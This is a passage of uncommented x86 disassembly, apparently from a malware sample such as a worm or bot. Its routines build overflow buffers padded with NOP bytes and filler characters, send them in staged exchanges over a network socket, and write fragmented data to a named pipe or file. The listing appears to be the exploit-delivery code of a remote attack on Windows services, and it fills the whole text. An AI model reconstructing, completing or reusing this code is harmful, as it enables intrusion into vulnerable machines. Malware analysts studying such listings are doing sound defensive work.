-968h var_960 = dword ptr -960h var_958 = dword ptr -958h var_950 = byte ptr -950h var_90C = byte ptr -90Ch var_8EC = byte ptr -8ECh var_8E8 = byte ptr -8E8h var_8E4 = byte ptr -8E4h var_8E0 = byte ptr -8E0h var_8DC = byte ptr -8DCh var_884 = byte ptr -884h var_87E = byte ptr -87Eh var_876 = byte ptr -876h var_872 = byte ptr -872h var_86E = byte ptr -86Eh var_868 = byte ptr -868h var_168 = byte ptr -168h var_7C = byte ptr -7Ch var_72 = byte ptr -72h var_6E = byte ptr -6Eh var_36 = byte ptr -36h var_32 = byte ptr -32h var_2E = byte ptr -2Eh arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1B68h call sub_4108B0 push esi push edi mov edi, [ebp+arg_0] push 48h push offset dword_4146F8 push dword ptr [edi+3Eh] call sub_403D54 push 0EA60h push dword ptr [edi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz loc_40B79E xor esi, esi lea eax, [ebp+var_1B68] push esi push 1000h push eax push dword ptr [edi+3Eh] call ds:dword_411258 ; recv push 7 push offset dword_4146F0 push dword ptr [edi+2Ah] lea eax, [edi+146h] push eax lea eax, [edi+0C6h] push eax lea eax, [ebp+var_B68] push dword ptr [edi+0C2h] push 200h push eax call sub_40D700 add esp, 20h cmp eax, esi mov [ebp+arg_0], eax jz loc_40B79E push ebx mov ebx, 168h loc_40B569: ; CODE XREF: sub_40B4D5+A9j push 7Ah push 61h call sub_40AADE mov [ebp+esi+var_168], al inc esi pop ecx cmp esi, ebx pop ecx jl short loc_40B569 push 0Ah lea eax, [ebp+var_7C] push offset loc_4147E8 push eax call sub_410838 ; memcpy push 2 lea eax, [ebp+var_72] push offset loc_414838 push eax call sub_410838 ; memcpy push 4 lea eax, [ebp+var_6E] push offset loc_414830 push eax call sub_410838 ; memcpy push 2 lea eax, [ebp+var_36] push offset loc_414834 push eax call sub_410838 ; memcpy push 4 lea eax, [ebp+var_32] push (offset loc_41482B+1) push eax call sub_410838 ; memcpy push 0Bh lea eax, [ebp+var_2E] push offset loc_4147DC push eax call sub_410838 ; memcpy add esp, 48h lea eax, [ebp+var_968] mov esi, 3E6h sub esi, [ebp+arg_0] push 18h push offset dword_414744 push eax call sub_410838 ; memcpy push 44h lea eax, [ebp+var_950] push offset dword_414760 push eax call sub_410838 ; memcpy push 20h lea eax, [ebp+var_90C] push 0FFFFFF90h push eax call sub_410850 ; memset push 4 lea eax, [ebp+var_8EC] push offset loc_4147F4 push eax call sub_410838 ; memcpy push 4 lea eax, [ebp+var_8E8] push offset loc_414828 push eax call sub_410838 ; memcpy push 4 lea eax, [ebp+var_8E4] push offset dword_414820 push eax call sub_410838 ; memcpy add esp, 48h lea eax, [ebp+var_8E0] push 4 push offset loc_414824 push eax call sub_410838 ; memcpy push 58h lea eax, [ebp+var_8DC] push 0FFFFFF90h push eax call sub_410850 ; memset push 6 lea eax, [ebp+var_884] push offset loc_4147FC push eax call sub_410838 ; memcpy push 8 push 0FFFFFF90h lea eax, [ebp+var_87E] push eax call sub_410850 ; memset push 4 lea eax, [ebp+var_876] push offset loc_414804 push eax call sub_410838 ; memcpy push 4 lea eax, [ebp+var_872] push 0FFFFFF90h push eax call sub_410850 ; memset add esp, 48h lea eax, [ebp+var_86E] push 6 push offset loc_41480C push eax call sub_410838 ; memcpy push esi lea eax, [ebp+var_868] push 0FFFFFF90h push eax call sub_410850 ; memset push [ebp+arg_0] add esi, 100h lea eax, [ebp+var_B68] push eax lea eax, [ebp+esi+var_968] push eax call sub_410838 ; memcpy add esi, [ebp+arg_0] lea eax, [ebp+var_168] push ebx push eax lea eax, [ebp+esi+var_968] push eax call sub_410838 ; memcpy add esi, ebx push 0Ah push offset off_414814 lea eax, [ebp+esi+var_968] push eax call sub_410838 ; memcpy add esi, 0Ah push 32h push offset dword_4147A8 lea eax, [ebp+esi+var_968] push eax call sub_410838 ; memcpy add esi, 32h add esp, 48h mov [ebp+var_960], esi lea eax, [esi-18h] push esi mov [ebp+var_958], eax lea eax, [ebp+var_968] push eax push dword ptr [edi+3Eh] call sub_403D54 push 0EA60h push dword ptr [edi+3Eh] call sub_403DD6 add esp, 14h test eax, eax pop ebx jz short loc_40B79E push 0 lea eax, [ebp+var_1B68] push 1000h push eax push dword ptr [edi+3Eh] call ds:dword_411258 ; recv loc_40B79E: ; CODE XREF: sub_40B4D5+33j ; sub_40B4D5+88j ... pop edi pop esi leave retn sub_40B4D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A2 proc near ; CODE XREF: sub_40BB6E+F4p ; sub_40BB6E+102p ... var_A4F0 = byte ptr -0A4F0h var_A488 = byte ptr -0A488h var_8418 = byte ptr -8418h var_7418 = byte ptr -7418h var_73A8 = byte ptr -73A8h var_68E4 = byte ptr -68E4h var_5340 = byte ptr -5340h var_42AC = byte ptr -42ACh var_37E4 = byte ptr -37E4h var_37E1 = byte ptr -37E1h var_37B7 = byte ptr -37B7h var_37B5 = byte ptr -37B5h var_37B4 = byte ptr -37B4h var_27E4 = byte ptr -27E4h var_2768 = byte ptr -2768h var_1F98 = byte ptr -1F98h var_1AED = byte ptr -1AEDh var_1800 = byte ptr -1800h var_101C = byte ptr -101Ch var_100C = byte ptr -100Ch var_CE8 = byte ptr -0CE8h var_CE4 = byte ptr -0CE4h var_CD8 = byte ptr -0CD8h var_A54 = byte ptr -0A54h var_A50 = byte ptr -0A50h var_9B0 = byte ptr -9B0h var_2A4 = byte ptr -2A4h var_294 = byte ptr -294h var_280 = byte ptr -280h var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 0A4F0h call sub_4108B0 push ebx push esi mov esi, [ebp+arg_0] push edi push 7 push offset dword_4146F0 push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_280] push dword ptr [esi+0C2h] push 200h push eax call sub_40D700 mov [ebp+arg_0], eax lea eax, [ebp+var_280] add esp, 20h test eax, eax jz loc_40BB66 lea eax, [ebp+var_80] push eax lea eax, [esi+42h] push eax call sub_40311D lea eax, [ebp+var_80] push eax call sub_410B18 ; wcslen mov ebx, eax push 60h lea eax, [ebp+var_37E4] push offset dword_414A54 push eax shl ebx, 1 call sub_410838 ; memcpy lea eax, [ebp+var_80] push ebx push eax lea eax, [ebp+var_37B4] push eax call sub_410838 ; memcpy push 9 lea eax, [ebp+ebx+var_37B5] push (offset aC_0+3) push eax call sub_410838 ; memcpy mov al, bl add al, 34h mov [ebp+var_37E1], al mov al, bl add al, 9 add ebx, 38h mov [ebp+var_37B7], al lea eax, [ebp+var_37E4] push ebx push eax push dword ptr [esi+3Eh] call sub_403D54 mov edi, 0EA60h push edi push dword ptr [esi+3Eh] call sub_403DD6 add esp, 44h test eax, eax jz loc_40BA6B mov ebx, 1000h push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call ds:dword_411258 ; recv push 68h push offset dword_414AB8 push dword ptr [esi+3Eh] call sub_403D54 push edi push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz loc_40BA6B push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call ds:dword_411258 ; recv push 0A0h push offset dword_414B24 push dword ptr [esi+3Eh] call sub_403D54 push edi push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz loc_40BA6B push 0 lea eax, [ebp+var_8418] push ebx push eax push dword ptr [esi+3Eh] call ds:dword_411258 ; recv mov ebx, [ebp+arg_4] test ebx, ebx jz loc_40BAA5 push 7Fh lea eax, [ebp+var_1800] push 0DACh push eax call sub_40C90F lea ebx, ds:414E4Ch[ebx*4] push 4 lea eax, [ebp+var_101C] push ebx push eax call sub_410838 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_100C] push eax call sub_410838 ; memcpy push 4 lea eax, [ebp+var_CE8] push offset loc_414E58 push eax call sub_410838 ; memcpy push 4 lea eax, [ebp+var_CE4] push ebx push eax call sub_410838 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_CD8] push eax call sub_410838 ; memcpy add esp, 48h and [ebp+var_A54], 0 lea eax, [ebp+var_1800] push 0DADh push eax lea eax, [ebp+var_5340] push eax call sub_405172 mov ebx, 1C52h lea eax, [ebp+var_A4F0] push ebx push 31h push eax call sub_410850 ; memset push ebx lea eax, [ebp+var_7418] push 31h push eax call sub_410850 ; memset push 68h lea eax, [ebp+var_A4F0] push offset dword_414CDC push eax call sub_410838 ; memcpy lea eax, [ebp+var_5340] push 1B5Ah push eax lea eax, [ebp+var_A488] push eax call sub_410838 ; memcpy push 70h lea eax, [ebp+var_7418] push offset dword_414D48 push eax call sub_410838 ; memcpy add esp, 48h lea eax, [ebp+var_42AC] push 0A5Eh push eax lea eax, [ebp+var_73A8] push eax call sub_410838 ; memcpy push 84h lea eax, [ebp+var_68E4] push offset dword_414DBC push eax call sub_410838 ; memcpy push 10FCh lea eax, [ebp+var_A4F0] push eax push dword ptr [esi+3Eh] call sub_403D54 push edi push dword ptr [esi+3Eh] call sub_403DD6 add esp, 2Ch test eax, eax jnz short loc_40BA72 loc_40BA6B: ; CODE XREF: sub_40B7A2+E2j ; sub_40B7A2+11Dj ... xor eax, eax jmp loc_40BB69 ; --------------------------------------------------------------------------- loc_40BA72: ; CODE XREF: sub_40B7A2+2C7j push 0 lea eax, [ebp+var_8418] push 640h push eax push dword ptr [esi+3Eh] call ds:dword_411258 ; recv lea eax, [ebp+var_7418] push 0FDCh push eax push dword ptr [esi+3Eh] call sub_403D54 add esp, 0Ch jmp loc_40BB66 ; --------------------------------------------------------------------------- loc_40BAA5: ; CODE XREF: sub_40B7A2+174j push 0E29h lea eax, [ebp+var_27E4] push 31h push eax call sub_410850 ; memset mov edi, 7D0h lea eax, [ebp+var_A50] push edi push 0FFFFFF90h push eax call sub_410850 ; memset push [ebp+arg_0] lea eax, [ebp+var_280] push eax lea eax, [ebp+var_9B0] push eax call sub_410838 ; memcpy push 4 lea eax, [ebp+var_2A4] push offset dword_414E4C push eax call sub_410838 ; memcpy push 7 lea eax, [ebp+var_294] push offset sub_414E44 push eax call sub_410838 ; memcpy push 7Ch lea eax, [ebp+var_27E4] push offset dword_414BC8 push eax call sub_410838 ; memcpy add esp, 48h lea eax, [ebp+var_A50] push edi push eax lea eax, [ebp+var_2768] push eax call sub_410838 ; memcpy push 90h lea eax, [ebp+var_1F98] push offset off_414C48 push eax call sub_410838 ; memcpy and [ebp+var_1AED], 0 lea eax, [ebp+var_27E4] push 0CF8h push eax push dword ptr [esi+3Eh] call sub_403D54 add esp, 24h loc_40BB66: ; CODE XREF: sub_40B7A2+50j ; sub_40B7A2+2FEj push 1 pop eax loc_40BB69: ; CODE XREF: sub_40B7A2+2CBj pop edi pop esi pop ebx leave retn sub_40B7A2 endp ; =============== S U B R O U T I N E ======================================= sub_40BB6E proc near ; CODE XREF: sub_40BB6E+12Bp var_30 = dword ptr -30h var_1C = byte ptr -1Ch var_C = byte ptr -0Ch arg_0 = byte ptr 4 arg_14 = byte ptr 18h arg_1004 = dword ptr 1008h mov eax, 1004h call sub_4108B0 push ebx push ebp push esi mov esi, [esp+0Ch+arg_1004] xor ebx, ebx push edi cmp [esi+3Eh], ebx mov [esp+10h], ebx mov edi, 0EA60h jnz short loc_40BBB8 push edi lea eax, [esi+17h] push ebx push eax lea eax, [esi+42h] mov dword ptr [esp+1Ch], 1 push eax call sub_403BBB add esp, 10h cmp eax, ebx mov [esi+3Eh], eax jz loc_40BCA0 loc_40BBB8: ; CODE XREF: sub_40BB6E+23j push 89h push offset dword_41483C push dword ptr [esi+3Eh] call sub_403D54 push edi push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz loc_40BCA0 mov ebp, 1000h push ebx mov ebx, ds:dword_411258 lea eax, [esp+14h+arg_0] push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv push 0A8h push offset dword_4148C8 push dword ptr [esi+3Eh] call sub_403D54 push edi push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz loc_40BCA0 push 0 lea eax, [esp+24h+var_C] push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv push 0DEh push offset dword_414974 push dword ptr [esi+3Eh] call sub_403D54 push edi push dword ptr [esi+3Eh] call sub_403DD6 add esp, 14h test eax, eax jz short loc_40BCA0 xor edi, edi lea eax, [esp+30h+var_1C] push edi push ebp push eax push dword ptr [esi+3Eh] call ebx ; recv cmp [esp+40h+arg_14], 30h jnz short loc_40BC77 push 1 push esi call sub_40B7A2 pop ecx test eax, eax pop ecx jnz short loc_40BC77 push 2 push esi call sub_40B7A2 jmp short loc_40BC9E ; --------------------------------------------------------------------------- loc_40BC77: ; CODE XREF: sub_40BB6E+EFj ; sub_40BB6E+FDj cmp [esp+40h+arg_14], 31h jnz short loc_40BCA0 push edi push esi call sub_40B7A2 cmp [esp+48h+var_30], edi pop ecx pop ecx jnz short loc_40BCA0 push dword ptr [esi+3Eh] call sub_403D27 push esi mov [esi+3Eh], edi call sub_40BB6E loc_40BC9E: ; CODE XREF: sub_40BB6E+107j pop ecx pop ecx loc_40BCA0: ; CODE XREF: sub_40BB6E+44j ; sub_40BB6E+6Aj ... pop edi pop esi pop ebp pop ebx add esp, 1004h retn sub_40BB6E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BCAB proc near ; DATA XREF: .data:00416A14o var_A00 = byte ptr -0A00h var_800 = byte ptr -800h var_7DC = byte ptr -7DCh var_5CC = byte ptr -5CCh var_5C8 = byte ptr -5C8h var_5C4 = byte ptr -5C4h var_5C0 = byte ptr -5C0h var_5BC = byte ptr -5BCh var_5B8 = byte ptr -5B8h var_5B4 = byte ptr -5B4h var_5B0 = byte ptr -5B0h var_5AC = byte ptr -5ACh var_554 = byte ptr -554h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0A00h push ebx mov ebx, [ebp+arg_0] push 1 push offset byte_417B60 push dword ptr [ebx+2Ah] lea eax, [ebx+146h] push eax lea eax, [ebx+0C6h] push eax lea eax, [ebp+var_A00] push dword ptr [ebx+0C2h] push 200h push eax call sub_40D700 add esp, 20h mov [ebp+arg_0], eax test eax, eax jz loc_40BE04 push esi push edi push 24h lea eax, [ebp+var_800] push (offset loc_414E66+2) push eax call sub_410838 ; memcpy push 210h lea eax, [ebp+var_7DC] push 4Dh push eax call sub_410850 ; memset push 4 lea eax, [ebp+var_5CC] pop edi push edi push offset dword_414E90 push eax call sub_410838 ; memcpy push edi lea eax, [ebp+var_5C8] push offset aCccc ; "CCCC" push eax call sub_410838 ; memcpy push edi lea eax, [ebp+var_5C4] push offset loc_414E60 push eax call sub_410838 ; memcpy mov esi, (offset loc_414E60+4) push edi lea eax, [ebp+var_5C0] push esi push eax call sub_410838 ; memcpy add esp, 48h lea eax, [ebp+var_5BC] push edi push esi push eax call sub_410838 ; memcpy push edi lea eax, [ebp+var_5B8] push offset a3333 ; "3333" push eax call sub_410838 ; memcpy push edi lea eax, [ebp+var_5B4] push esi push eax call sub_410838 ; memcpy push edi lea eax, [ebp+var_5B0] push esi push eax call sub_410838 ; memcpy push 58h lea eax, [ebp+var_5AC] push 41h push eax call sub_410850 ; memset mov esi, [ebp+arg_0] lea eax, [ebp+var_A00] push esi push eax lea eax, [ebp+var_554] push eax call sub_410838 ; memcpy add esp, 48h add esi, 2ACh push 5 lea eax, [ebp+esi+var_800] push offset dword_414E98 push eax call sub_410838 ; memcpy add esi, 5 lea eax, [ebp+var_800] push esi push eax push dword ptr [ebx+3Eh] call sub_403D54 add esp, 18h pop edi pop esi loc_40BE04: ; CODE XREF: sub_40BCAB+44j pop ebx leave retn sub_40BCAB endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BE08 proc near ; CODE XREF: sub_40C0F9+6p ; seg000:0040C10Dp var_2208 = byte ptr -2208h var_21FF = byte ptr -21FFh var_1208 = byte ptr -1208h var_1205 = byte ptr -1205h var_11DB = byte ptr -11DBh var_11D8 = byte ptr -11D8h var_10D8 = byte ptr -10D8h var_980 = byte ptr -980h var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2208h call sub_4108B0 push ebx push esi mov esi, [ebp+arg_0] push edi push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_208] push dword ptr [esi+0C2h] push 200h push eax call sub_40D628 add esp, 18h mov [ebp+var_8], eax test eax, eax jz loc_40C0F4 push 89h push offset dword_414EB0 push dword ptr [esi+3Eh] call sub_403D54 mov ebx, 0EA60h mov edi, 1000h push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DAD add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40C0F4 cmp eax, 0Ah jbe loc_40C0F4 cmp [ebp+var_21FF], 0 jnz loc_40C0F4 push 0A8h push offset dword_414F3C push dword ptr [esi+3Eh] call sub_403D54 push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DAD add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40C0F4 cmp eax, 0Ah jbe loc_40C0F4 push 0DEh push offset dword_414FE8 push dword ptr [esi+3Eh] call sub_403D54 push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DAD add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40C0F4 cmp eax, 0Ah jbe loc_40C0F4 cmp [ebp+var_21FF], 0 jnz loc_40C0F4 push 30h lea eax, [ebp+var_1208] push offset dword_4150C8 push eax call sub_410838 ; memcpy lea eax, [ebp+var_11D8] push eax lea eax, [esi+42h] push eax call sub_40311D lea eax, [eax+eax-2] push 1 lea ecx, [eax+30h] add eax, 9 mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_11DB] push eax mov [ebp+arg_0], ecx call sub_410838 ; memcpy mov eax, [ebp+arg_0] push 8 push offset dword_4150FC lea eax, [ebp+eax+var_1208] push eax call sub_410838 ; memcpy add [ebp+arg_0], 8 push 1 mov eax, [ebp+arg_0] add eax, 0FFFFFFFCh mov [ebp+var_4], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_1205] push eax call sub_410838 ; memcpy push [ebp+arg_0] lea eax, [ebp+var_1208] push eax push dword ptr [esi+3Eh] call sub_403D54 add esp, 44h lea eax, [ebp+var_2208] push ebx push edi push eax push dword ptr [esi+3Eh] call sub_403DAD add esp, 10h cmp eax, 0FFFFFFFFh jz loc_40C0F4 cmp eax, 0Ah jbe loc_40C0F4 cmp [ebp+var_21FF], 0 jnz loc_40C0F4 push 6Ah push offset dword_415108 push dword ptr [esi+3Eh] call sub_403D54 push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DAD add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40C0F4 cmp eax, 0Ah jbe loc_40C0F4 cmp [ebp+var_21FF], 0 jnz loc_40C0F4 push 0A0h push offset dword_415174 push dword ptr [esi+3Eh] call sub_403D54 push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DAD add esp, 1Ch cmp eax, 0FFFFFFFFh jz loc_40C0F4 cmp eax, 0Ah jbe loc_40C0F4 cmp [ebp+var_21FF], 0 jnz loc_40C0F4 push 894h lea eax, [ebp+var_1208] push 0FFFFFF90h push eax call sub_410850 ; memset add esp, 0Ch cmp [ebp+arg_4], 0 push 130h jnz short loc_40C08F push offset dword_415218 jmp short loc_40C094 ; --------------------------------------------------------------------------- loc_40C08F: ; CODE XREF: sub_40BE08+27Ej push offset dword_41534C loc_40C094: ; CODE XREF: sub_40BE08+285j lea eax, [ebp+var_1208] push eax call sub_410838 ; memcpy add esp, 0Ch lea eax, [ebp+var_208] push [ebp+var_8] push eax lea eax, [ebp+var_10D8] push eax call sub_410838 ; memcpy push 0Ch lea eax, [ebp+var_980] push offset dword_415480 push eax call sub_410838 ; memcpy lea eax, [ebp+var_1208] push 894h push eax push dword ptr [esi+3Eh] call sub_403D54 push ebx lea eax, [ebp+var_2208] push edi push eax push dword ptr [esi+3Eh] call sub_403DAD add esp, 34h loc_40C0F4: ; CODE XREF: sub_40BE08+43j ; sub_40BE08+7Cj ... pop edi pop esi pop ebx leave retn sub_40BE08 endp ; =============== S U B R O U T I N E ======================================= sub_40C0F9 proc near ; DATA XREF: .data:00416844o arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40BE08 pop ecx pop ecx retn sub_40C0F9 endp ; --------------------------------------------------------------------------- push 1 push dword ptr [esp+8] call sub_40BE08 pop ecx pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_40C115 proc near ; CODE XREF: sub_40C225+12Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi xor esi, esi cmp [esp+4+arg_4], esi jbe short loc_40C144 mov edx, [esp+4+arg_8] loc_40C122: ; CODE XREF: sub_40C115+2Dj mov eax, [esp+4+arg_0] mov cl, [esi+eax] mov al, cl and cl, 0Fh shr al, 4 add cl, 41h add al, 41h mov [edx], cl mov [edx+1], al inc esi inc edx inc edx cmp esi, [esp+4+arg_4] jb short loc_40C122 loc_40C144: ; CODE XREF: sub_40C115+7j pop esi retn sub_40C115 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C146 proc near ; CODE XREF: sub_40C146+CDp ; sub_40C225+4DCp var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40C15A or [ebp+arg_7], 1 jmp short loc_40C15E ; --------------------------------------------------------------------------- loc_40C15A: ; CODE XREF: sub_40C146+Cj and [ebp+arg_7], 0FEh loc_40C15E: ; CODE XREF: sub_40C146+12j mov ebx, [ebp+arg_20] mov eax, [ebp+arg_24] lea ecx, [ebx+18h] cmp ecx, eax ja short loc_40C17F or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40C191 ; --------------------------------------------------------------------------- loc_40C17F: ; CODE XREF: sub_40C146+23j mov [ebp+arg_C], ax add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40C191: ; CODE XREF: sub_40C146+37j movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41082C ; malloc test eax, eax pop ecx mov [ebp+arg_20], eax jnz short loc_40C1AA loc_40C1A6: ; CODE XREF: sub_40C146+A4j xor eax, eax jmp short loc_40C220 ; --------------------------------------------------------------------------- loc_40C1AA: ; CODE XREF: sub_40C146+5Ej push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_410838 ; memcpy add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call ds:dword_411070 ; WriteFile push [ebp+arg_20] test eax, eax jnz short loc_40C1EC call sub_410832 ; free pop ecx jmp short loc_40C1A6 ; --------------------------------------------------------------------------- loc_40C1EC: ; CODE XREF: sub_40C146+9Cj call sub_410832 ; free cmp [ebp+arg_2B], 0 pop ecx jz short loc_40C21D push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40C146 add esp, 2Ch jmp short loc_40C220 ; --------------------------------------------------------------------------- loc_40C21D: ; CODE XREF: sub_40C146+B0j push 1 pop eax loc_40C220: ; CODE XREF: sub_40C146+62j ; sub_40C146+D5j pop edi pop esi pop ebx leave retn sub_40C146 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C225 proc near ; CODE XREF: sub_40C73D+6p ; sub_40C73D+16p var_CEBC = byte ptr -0CEBCh var_8EBC = byte ptr -8EBCh var_7364 = byte ptr -7364h var_5364 = byte ptr -5364h var_3364 = byte ptr -3364h var_1364 = dword ptr -1364h var_A68 = byte ptr -0A68h var_A63 = byte ptr -0A63h var_A24 = byte ptr -0A24h var_5B8 = byte ptr -5B8h var_3B8 = byte ptr -3B8h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_6C = byte ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_65 = byte ptr -65h var_64 = dword ptr -64h var_60 = word ptr -60h var_5E = word ptr -5Eh var_5C = dword ptr -5Ch var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = byte ptr -4Ah var_48 = byte ptr -48h var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = dword ptr -1Ch var_16 = word ptr -16h var_14 = dword ptr -14h var_C = word ptr -0Ch var_A = word ptr -0Ah var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 0CEBCh call sub_4108B0 push ebx push esi push edi xor edi, edi cmp dword_417B9C, edi jz loc_40C735 cmp dword_417BA4, edi jz loc_40C735 mov esi, [ebp+arg_0] push dword ptr [esi+2Ah] lea eax, [esi+146h] push eax lea eax, [esi+0C6h] push eax lea eax, [ebp+var_5B8] push dword ptr [esi+0C2h] push 200h push eax call sub_40D628 add esp, 18h cmp eax, edi mov [ebp+var_4], eax jz short loc_40C2A8 add esi, 42h push 2 push esi mov [ebp+arg_0], esi call sub_40C794 pop ecx cmp eax, 3 pop ecx jz short loc_40C2AF push 1 push esi call sub_40C794 pop ecx cmp eax, 3 pop ecx jz short loc_40C2AF loc_40C2A8: ; CODE XREF: sub_40C225+5Dj xor eax, eax jmp loc_40C738 ; --------------------------------------------------------------------------- loc_40C2AF: ; CODE XREF: sub_40C225+72j ; sub_40C225+81j push 32Bh lea eax, [ebp+var_3B8] push edi push eax call sub_410850 ; memset mov esi, 0DACh lea eax, [ebp+var_1364] push esi push edi push eax call sub_410850 ; memset push 1B58h lea eax, [ebp+var_8EBC] push edi push eax call sub_410850 ; memset push 0DABh lea eax, [ebp+var_1364] push 41h push eax call sub_410850 ; memset mov eax, [ebp+arg_4] push 5 push offset dword_415490 lea ebx, [eax+eax*8] mov [ebp+var_8], ebx mov eax, dword ptr (loc_4154EA+2)[ebx] mov ecx, dword ptr (loc_4154E7+1)[ebx] mov [ebp+eax+var_1364], ecx lea eax, [ebp+var_A68] push eax call sub_410838 ; memcpy push 3Fh lea eax, [ebp+var_A63] push offset sub_4154A8 push eax call sub_410838 ; memcpy add esp, 48h lea eax, [ebp+var_3B8] push eax lea eax, [ebp+var_5B8] push [ebp+var_4] push eax call sub_40C115 lea eax, [ebp+var_3B8] push eax call sub_410826 ; strlen push eax lea eax, [ebp+var_3B8] push eax lea eax, [ebp+var_A24] push eax call sub_410838 ; memcpy lea eax, [ebp+var_3B8] push eax call sub_410826 ; strlen and [ebp+eax+var_A24], 0 add esp, 20h xor ecx, ecx lea eax, [ebp+var_8EBC] loc_40C393: ; CODE XREF: sub_40C225+17Fj movzx dx, byte ptr [ebp+ecx+var_1364] mov [eax], dx inc ecx inc eax inc eax cmp ecx, esi jb short loc_40C393 push [ebp+arg_0] mov esi, 2000h lea eax, [ebp+var_7364] push offset dword_415550 push esi push eax call sub_41089E ; _snprintf lea eax, [ebp+var_7364] push esi push eax lea eax, [ebp+var_CEBC] push eax call sub_410B2A ; mbstowcs push offset dword_41554C push [ebp+arg_0] call sub_410C94 ; _strcmpi add esp, 24h test eax, eax jz short loc_40C43F push [ebp+arg_0] lea eax, [ebp+var_3364] push offset dword_415544 push esi push eax call sub_41089E ; _snprintf push esi lea eax, [ebp+var_3364] push offset dword_41553C push eax call sub_410B24 ; strncat push 20h lea eax, [ebp+var_8C] push edi push eax call sub_410850 ; memset lea eax, [ebp+var_3364] add esp, 28h mov [ebp+var_78], eax mov eax, offset byte_417B60 push edi push eax push eax lea eax, [ebp+var_8C] push eax call dword_417B9C loc_40C43F: ; CODE XREF: sub_40C225+1C1j push [ebp+arg_0] lea eax, [ebp+var_5364] push offset dword_415544 push esi push eax call sub_41089E ; _snprintf push esi lea eax, [ebp+var_5364] push offset dword_415530 push eax call sub_410B24 ; strncat add esp, 1Ch lea eax, [ebp+var_5364] push edi push edi push 3 push edi push 3 push 40000000h push eax call ds:dword_411048 ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40C491 loc_40C48A: ; CODE XREF: sub_40C225+370j xor esi, esi jmp loc_40C726 ; --------------------------------------------------------------------------- loc_40C491: ; CODE XREF: sub_40C225+263j push 48h lea eax, [ebp+var_68] push edi push eax call sub_410850 ; memset push 10h and [ebp+var_67], 0 pop esi mov [ebp+var_68], 5 push 1 mov 